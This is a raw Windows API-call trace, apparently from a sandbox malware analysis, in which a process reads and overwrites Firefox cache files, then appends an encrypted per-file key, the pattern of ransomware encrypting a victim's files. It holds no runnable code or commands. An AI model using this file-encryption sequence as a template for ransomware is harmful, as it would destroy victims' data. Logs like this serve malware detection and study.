lpBuffer=0x30ea638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ea638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.554] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.554] CloseHandle (hObject=0x1b80) returned 1 [0184.558] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ea218 | out: pbBuffer=0x30ea218) returned 1 [0184.558] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0184.558] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CB8C106D505303C68AD24895B83107C94B34A8AD", dwFileAttributes=0x80) returned 1 [0184.558] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ea638 [0184.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.559] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xaaa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xaaa, lpOverlapped=0x0) returned 1 [0184.560] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2730, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.560] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0338*, nNumberOfBytesToWrite=0xaaa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0338*, lpNumberOfBytesWritten=0x2e1f9bc*=0xaaa, lpOverlapped=0x0) returned 1 [0184.561] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xaaa [0184.561] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.561] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ea218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ea218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.561] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ea218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ea218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.562] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.562] CloseHandle (hObject=0x1b80) returned 1 [0184.564] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9df8 | out: pbBuffer=0x30e9df8) returned 1 [0184.564] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.564] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CB14A93EFDA02E7AEDF6142F02A7EBDF29C1DAC5", dwFileAttributes=0x80) returned 1 [0184.564] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ea950 [0184.564] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.564] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xef7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xef7, lpOverlapped=0x0) returned 1 [0184.570] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.570] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0780*, nNumberOfBytesToWrite=0xef7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0780*, lpNumberOfBytesWritten=0x2e1f9bc*=0xef7, lpOverlapped=0x0) returned 1 [0184.571] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xef7 [0184.571] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.571] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e9df8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e9df8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.571] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e9df8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e9df8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.572] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.572] CloseHandle (hObject=0x1b80) returned 1 [0184.574] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e9df8 | out: pbBuffer=0x30e9df8) returned 1 [0184.574] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.574] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CB06F3F3E4FCBD4D7968183FF36D440700C56E89", dwFileAttributes=0x80) returned 1 [0184.574] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ea950 [0184.574] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.574] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xfdb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xfdb, lpOverlapped=0x0) returned 1 [0184.582] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4059, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.582] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0868*, nNumberOfBytesToWrite=0xfdb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0868*, lpNumberOfBytesWritten=0x2e1f9bc*=0xfdb, lpOverlapped=0x0) returned 1 [0184.583] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xfdb [0184.583] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.583] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e9df8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e9df8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.583] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e9df8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e9df8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.584] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.584] CloseHandle (hObject=0x1b80) returned 1 [0184.586] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ea950 | out: pbBuffer=0x30ea950) returned 1 [0184.586] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0184.586] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\CA7A9F0CC74A8E8754049606AD6AEF4B054677C4", dwFileAttributes=0x80) returned 1 [0184.587] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eaa58 [0184.587] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.587] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x1134, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x1134, lpOverlapped=0x0) returned 1 [0184.591] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4404, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.591] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f09c0*, nNumberOfBytesToWrite=0x1134, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f09c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1134, lpOverlapped=0x0) returned 1 [0184.591] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1134 [0184.591] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.591] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ea950*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ea950*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.592] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ea950*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ea950*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.592] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.592] CloseHandle (hObject=0x1b80) returned 1 [0184.595] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ea110 | out: pbBuffer=0x30ea110) returned 1 [0184.595] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.595] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C9471B3F9596A7A5004417CE2292309DD1102B7E", dwFileAttributes=0x80) returned 1 [0184.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e97c8 [0184.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.596] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xf33, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xf33, lpOverlapped=0x0) returned 1 [0184.607] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3891, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.607] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f07c0*, nNumberOfBytesToWrite=0xf33, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f07c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf33, lpOverlapped=0x0) returned 1 [0184.607] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf33 [0184.608] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.608] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ea110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ea110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.608] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ea110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ea110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.620] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.621] CloseHandle (hObject=0x1b80) returned 1 [0184.624] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e97c8 | out: pbBuffer=0x30e97c8) returned 1 [0184.624] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0184.624] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C886C15B36E63849FB9E86DCC97456303F590459", dwFileAttributes=0x80) returned 1 [0184.625] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ea950 [0184.625] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.625] ReadFile (in: hFile=0x1b80, lpBuffer=0x563108, nNumberOfBytesToRead=0xf6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x563108*, lpNumberOfBytesRead=0x2e1f9bc*=0xf6, lpOverlapped=0x0) returned 1 [0184.626] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.626] WriteFile (in: hFile=0x1b80, lpBuffer=0x563358*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x563358*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf6, lpOverlapped=0x0) returned 1 [0184.626] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf6 [0184.626] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.627] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e97c8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e97c8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.627] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e97c8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e97c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.627] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.628] CloseHandle (hObject=0x1b80) returned 1 [0184.638] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ea638 | out: pbBuffer=0x30ea638) returned 1 [0184.638] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.638] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C8788D66D9B86C3DD7E7796698EB2CFB98F70A72", dwFileAttributes=0x80) returned 1 [0184.638] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e9df8 [0184.638] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.639] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x1bc24, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x1bc24, lpOverlapped=0x0) returned 1 [0184.652] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-113700, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.652] WriteFile (in: hFile=0x1b80, lpBuffer=0x3520048*, nNumberOfBytesToWrite=0x1bc24, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3520048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1bc24, lpOverlapped=0x0) returned 1 [0184.653] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1bc24 [0184.654] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.654] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ea638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ea638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.654] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ea638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ea638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.654] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.655] CloseHandle (hObject=0x1b80) returned 1 [0184.659] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eaa58 | out: pbBuffer=0x30eaa58) returned 1 [0184.660] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.660] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C737DF2E733956D371B0C150FC9E5E69F33A60A8", dwFileAttributes=0x80) returned 1 [0184.660] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ea008 [0184.660] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.660] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0184.670] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.671] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef880*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0184.671] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x52a [0184.671] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.671] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eaa58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eaa58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.672] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eaa58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eaa58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.672] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.672] CloseHandle (hObject=0x1b80) returned 1 [0184.674] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e99d8 | out: pbBuffer=0x30e99d8) returned 1 [0184.674] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0184.674] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C7038B6F0FDC598596C12BAEB97C58EDE60AE629", dwFileAttributes=0x80) returned 1 [0184.674] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e96c0 [0184.674] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.674] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xef4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xef4, lpOverlapped=0x0) returned 1 [0184.680] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.680] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0780*, nNumberOfBytesToWrite=0xef4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0780*, lpNumberOfBytesWritten=0x2e1f9bc*=0xef4, lpOverlapped=0x0) returned 1 [0184.681] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xef4 [0184.681] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0184.681] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e99d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e99d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0184.681] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e99d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e99d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0184.681] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0184.682] CloseHandle (hObject=0x1b80) returned 1 [0184.683] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ead70 | out: pbBuffer=0x30ead70) returned 1 [0184.683] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0184.683] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C4946D9CBAAC446A50CB86F04338E6F3F959EFC5", dwFileAttributes=0x80) returned 1 [0184.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ea008 [0184.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0184.684] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4f8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4f8, lpOverlapped=0x0) returned 1 [0184.693] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.693] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef880*, nNumberOfBytesToWrite=0x4f8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4f8, lpOverlapped=0x0) returned 1 [0184.694] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4f8 